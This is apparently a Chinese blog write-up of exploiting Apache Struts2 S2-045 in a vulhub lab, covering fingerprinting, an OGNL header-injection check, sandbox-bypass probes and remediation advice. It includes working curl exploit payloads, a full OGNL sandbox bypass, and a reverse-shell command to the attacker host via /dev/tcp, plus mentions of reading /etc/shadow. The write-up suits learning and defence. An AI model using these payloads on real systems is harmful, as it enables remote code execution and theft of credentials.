0.前言
累死我哩,怎么这么鬼多东西要学啊,真牛魔的服了,最近在搞portswigger靶场重新巩固一下基础,因为之前搞了两篇src说是危险等级不够,然后被严肃退回了,所以想着先沉淀一下,可能之后portswigger靶场会重新写几篇博客吧,不过站内已经有很多讲解了,单纯自己当笔记用了,有时候直接把AI生成的文章发博客了,单纯懒成狗了,不过AI写的反而是高质量文章吗,那我没招了,还有就是全过程都是用的bash命令行,当然也可以选择用BurpSuite,那样确实会看着更舒服,不过这里我就偷懒了
1.环境与目标
| 项 | 值 |
|---|---|
| 靶场 | vulhub struts2/s2-045,宿主映射端口 8085 |
| 攻击机 | Kali,192.168.153.128 |
| 容器 | 目标为 Docker 容器(hostname dfc4fbec0be8) |
| Web 容器 | Jetty 9.2.11.v20150529 (由 Server: 头确认) |
| 运行时 | OpenJDK 8 ,由 Maven jetty:run 直接启动(由 /proc/1/cmdline 确认) |
| 项目根 | /usr/src,Web 根 /usr/src/src/main/webapp |
2.原理简介Struts2、OGNL 与 S2-045
简单解绍一下这些东西
2.1 Struts2 是什么
Apache Struts2 是 Java Web 的 MVC 框架(与 Spring MVC 同层竞品,2010 年代政企/教育系统广泛使用)。它的工作流是这样的:
请求 → StrutsPrepareAndExecuteFilter → ActionMapper(路由)
→ Interceptor 拦截器栈(参数封装/校验/文件上传解析)
→ Action.execute() → Result 渲染
还有几个概念要了解
2.2基础概念
| 概念 | 作用 | 对你打洞的意义 |
|---|---|---|
| Action | 处理请求的 Java 类,xx.action 访问 | 这是 "入口",payload 要发到活的 action 上 |
| Interceptor 拦截器 | 一堆切面逻辑,如 文件上传解析 | S2-045 就死在 "文件上传解析" 这段 |
| ValueStack | 存放当前请求数据的 "对象栈" | OGNL 表达式的操作对象 |
| OGNL | 表达式语言,写值栈里的属性 / 调方法 | 漏洞的燃料 |
| struts.xml | 配置 Action 与拦截器 | 决定了哪些入口存在 |
这些东西先有个印象,后面讲链路时会用
2.3为什么 Struts2 漏洞特别多:OGNL
OGNL(Object-Graph Navigation Language)是 Struts2 用来读写 Java 对象属性的**表达式语言**,`%{ ... }` 包裹的字符串会被**当作 OGNL 求值
① 用户发 Content-Type: %{(#_='multipart/form-data')...}.multipart/form-data
② JakartaMultiPartRequest.parse() 解析 multipart 失败
(Content-Type 不是合法 boundary)
③ 抛 InvalidContentTypeException,异常消息里【包含了用户可控的 Content-Type 值】
④ 框架构造 LocalizedMessage 时,调用了 getText 消息处理机制
→ TextParseUtil.translateVariables(message, valueStack)
⑤ 这个工具类的职责是"把消息里的 %{...} 当表达式求值"
→ 用户输入就这样进了 OGNL 求值器
3.阶段 1: 指纹识别
其实之前那几个vulhub靶场也做了指纹识别,只不过没有写,现在手操了,想想还是写一下吧
bash
nc -zv 192.168.153.1 8085
结果为
bash
192.168.153.1: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.153.1] 8085 (?) open
前面的东西不要紧,重点是看到open,表示这个端口确实是开着的,当然nmap也可以扫,只是我这里只是确认能正常连接而已,然后:
bash
curl -s http://192.168.153.1:8085/ | head -60
bash
curl -sI http://192.168.153.1:8085/showcase.action
bash
curl -sI http://192.168.153.1:8085/index.action
结果我就不一一贴出来了,通过返回就可以确认这些东西了
表格
| 证据 | 结论 |
|---|---|
<title>Struts2 Showcase - Fileupload sample</title> |
确认 Struts2,官方 Showcase 演示应用 |
action="/doUpload.action"、.action 后缀 |
入口明确,Struts2 铁证 |
enctype="multipart/form-data" |
正中 S2-045 的触发路径(文件上传 → multipart 解析) |
Server: Jetty(9.2.11.v20150529) |
容器是 Jetty |
然后开始搞他了
4.阶段 2:无害验证(只加一个响应头,证明漏洞存在)
根据渗透原则,先利用最小副作用确定漏洞是否存在再投入使用。大概的思路就是让OGNL 调用响应对象的 `addHeader`,然后在响应头里面加点料让人知道这条路确实走通了------ 不执行命令、不写文件、零副作用
bash
curl -i -s -X POST http://192.168.153.1:8085/index.action \
-H "Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Vuln-Proof','yes')}.multipart/form-data" \
--data "x"

可以看到确实多出了我们添加的**X-Vuln-Proof: yes,**验证成功,漏洞确实存在
5、阶段 3:命令执行------检测与沙箱绕过
诶,有聪明的小伙伴就想到了,那好像它直接执行了把响应头上加东西,那是不是就可以直接Runtime命令执行了呢,让我们来试一下
注意:这里只是把 Runtime 对象打印出来(会显示成 java.lang.Runtime@1a2b3c),不执行任何命令------所以观察的是"能不能碰到这个类"。
bash
cat > /root/p1s.ct <<'EOF'
%{(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-P1s',@java.lang.Runtime@getRuntime().toString()))}.multipart/form-data
EOF
curl -i -s -X POST http://192.168.153.1:8085/index.action -H "Content-Type: $(cat /root/p1s.ct)" --data "x" | head -20
坏消息,如果你用BurpSuite看的话,这个页面简直跟原本的一模一样,怎么完全没有反应捏。
好消息,竟然没有反应,但刚刚又成功了,啊呦吼,有点意思。这就说明了,不是WAF拦了(一般WAF会显示404或者406亦或者直接断联),而是有沙箱在保护,估计是有黑/白名单或者某些配置做了限制,静态方法被禁止了,看看静态属性行不行从而做进一步验证
bash
curl -i -s -X POST http://192.168.153.1:8085/index.action -H "Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-A',''+@java.lang.Integer@MAX_VALUE)}.multipart/form-data" --data "x"
尝试静态属性Integer@MAX_VALUE------->成功,

可以看到多了一行X-A,也就是说这个禁用的是静态方法而不禁用静态属性
在尝试一个
bash
curl -i -s -X POST http://192.168.153.1:8085/index.action -H "Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-B',''+@java.lang.Integer@valueOf(123))}.multipart/form-data" --data "x"
发现确实是这样
可以依次看看这些结果
实验结果
| 探针 | 表达式核心 | 响应 | 判读 |
|---|---|---|---|
| P0 通道对照 | addHeader('X-P0','channel-ok')(实例方法) |
200 + X-P0: channel-ok |
通道正常,实验基线成立 |
| P1s 静态方法(危险类) | addHeader('X-P1s',@java.lang.Runtime@getRuntime().toString()) |
200, Content-Length: 495, 无头 |
Runtime 静态访问被拦 |
| Pa 静态方法(无害类) | addHeader('X-PA',@java.lang.Integer@valueOf(123).toString()) |
200, Content-Length: 495, 无头 |
连 Integer 都被拦 → 被拦的不是 "危险类",而是 "静态类访问" 行为 |
| P2s 最简绕过 | (#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS). + @Runtime@getRuntime() |
200, 495, 无头 | 最简绕过无效 |
| P3s 完整绕过 | (#dm=...).(#container=#context['...ActionContext.container']).(#ognlUtil=#container.getInstance(@...OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)). + @Runtime@getRuntime() |
200 + X-P3s: java.lang.Runtime@28b3c77a |
完整绕过有效 |
| P4 完整绕过 + 原响应取法 | 同上,但响应对象改用 @org.apache.struts2.ServletActionContext@getResponse() |
200 + X-P4: sacontext-ok |
ServletActionContext 取法本身没问题 |
| P5 只清名单 | (#container=...).(#ognlUtil=...#getExcludedPackageNames().clear()...clear()) + @Runtime@getRuntime() |
200, 495, 无头 | 只清名单不够 |
P6 只 setMemberAccess |
(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)). + @Runtime@getRuntime() |
200 + X-P6: java.lang.Runtime@4c739ea4 |
setMemberAccess 是充分条件 |
逐段拆解:
C:直接覆盖
#_memberAccess变量 D:调用setMemberAccess()方法修改权限
6、阶段 4:反弹 shell(拿到交互式控制)
curl -i:显示完整响应头(关键!我们看新增的 X-A 头)-s:静默模式,不输出进度条-X POST:指定 POST 请求-H "Content-Type: ...":自定义 HTTP 请求头,漏洞触发点%{ ... }:Struts2 OGNL 执行标记,花括号内代码被 OGNL 执行#context:OGNL 内置上下文对象,保存了 Servlet 对象#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse']:从上下文取出HttpServletResponse响应对象.addHeader('X-A','值'):Servlet API,给返回给客户端的 HTTP 响应 增加响应头X-A: xxx''+@java.lang.Integer@MAX_VALUE@类名@静态属性OGNL 访问静态成员语法java.lang.Integer.MAX_VALUE整数最大值2147483647''+转字符串,addHeader 第二个参数必须是字符串
.multipart/form-data:拼在 OGNL 表达式执行结果后面,凑成 Content-Type 的值--data "x"POST 请求 body,随便传个占位数据,满足 POST 提交- Integer 静态方法
valueOf(123) (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)把 OGNL 默认的权限对象DEFAULT_MEMBER_ACCESS赋值给临时变量#dm(#_memberAccess=#dm)把上下文的成员访问控制对象#_memberAccess直接替换成#dm,清空访问限制#context['...HttpServletResponse'].addHeader('X-C',''+@java.lang.Runtime@getRuntime())获取 Runtime 实例对象,转字符串,添加到响应头X-C(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)同样拿到默认权限对象(#context.setMemberAccess(#dm))不是直接赋值#_memberAccess,调用 OgnlContext 对象的 setMemberAccess () 方法,设置权限,关闭访问限制- 然后同样拿到 Runtime 实例,写入 X-D 响应头
攻击机:开监听
bash
nc -lvnp 4444
另外一个bash
bash
cat > /root/s2045_shell.ct <<'EOF'
%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='bash -i >& /dev/tcp/192.168.153.128/4444 0>&1').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}.multipart/form-data
EOF
7、影响证明(最小化的后渗透认知)
授权测试的终点是**证明业务影响**,而非"打进去就完"。最小必要动作:
-
**身份与权限**:`id`、`hostname` → 已证明 `root`;
-
**数据可达性**:读取配置/凭据,证明"能碰到业务数据"(如 `cat /etc/shadow`、查找 `WEB-INF` 下的连接串);
-
**提权可能性评估**:`sudo -l`、内核版本、SUID ------ **即使不提权,能指出"存在提权面"也足够写报告**;
-
**持久化可行性**:webshell 已证明"文件在重启前持续可用"。
> **合规边界**:授权渗透测试中**不清理目标日志**(那会破坏证据链、涉嫌超范围);只清理**自己创建的测试产物**,并完整记录所做操作。
8、修复建议
-
**升级**:Struts 2.3.32 / 2.5.10.1 及以上;
-
无法立即升级时,可临时移除 `JakartaMultiPartRequest` 相关解析或前置 WAF 过滤 `Content-Type` 中的 `%{`、`#`、`ognl` 等特征;
-
数据进入表达式/模板前**严格白名单校验**(根治:不要让用户输入进入 OGNL 求值路径);
-
容器内**不要以 root 运行** Web 服务,限制可写目录;
-
生产环境关闭详细错误信息。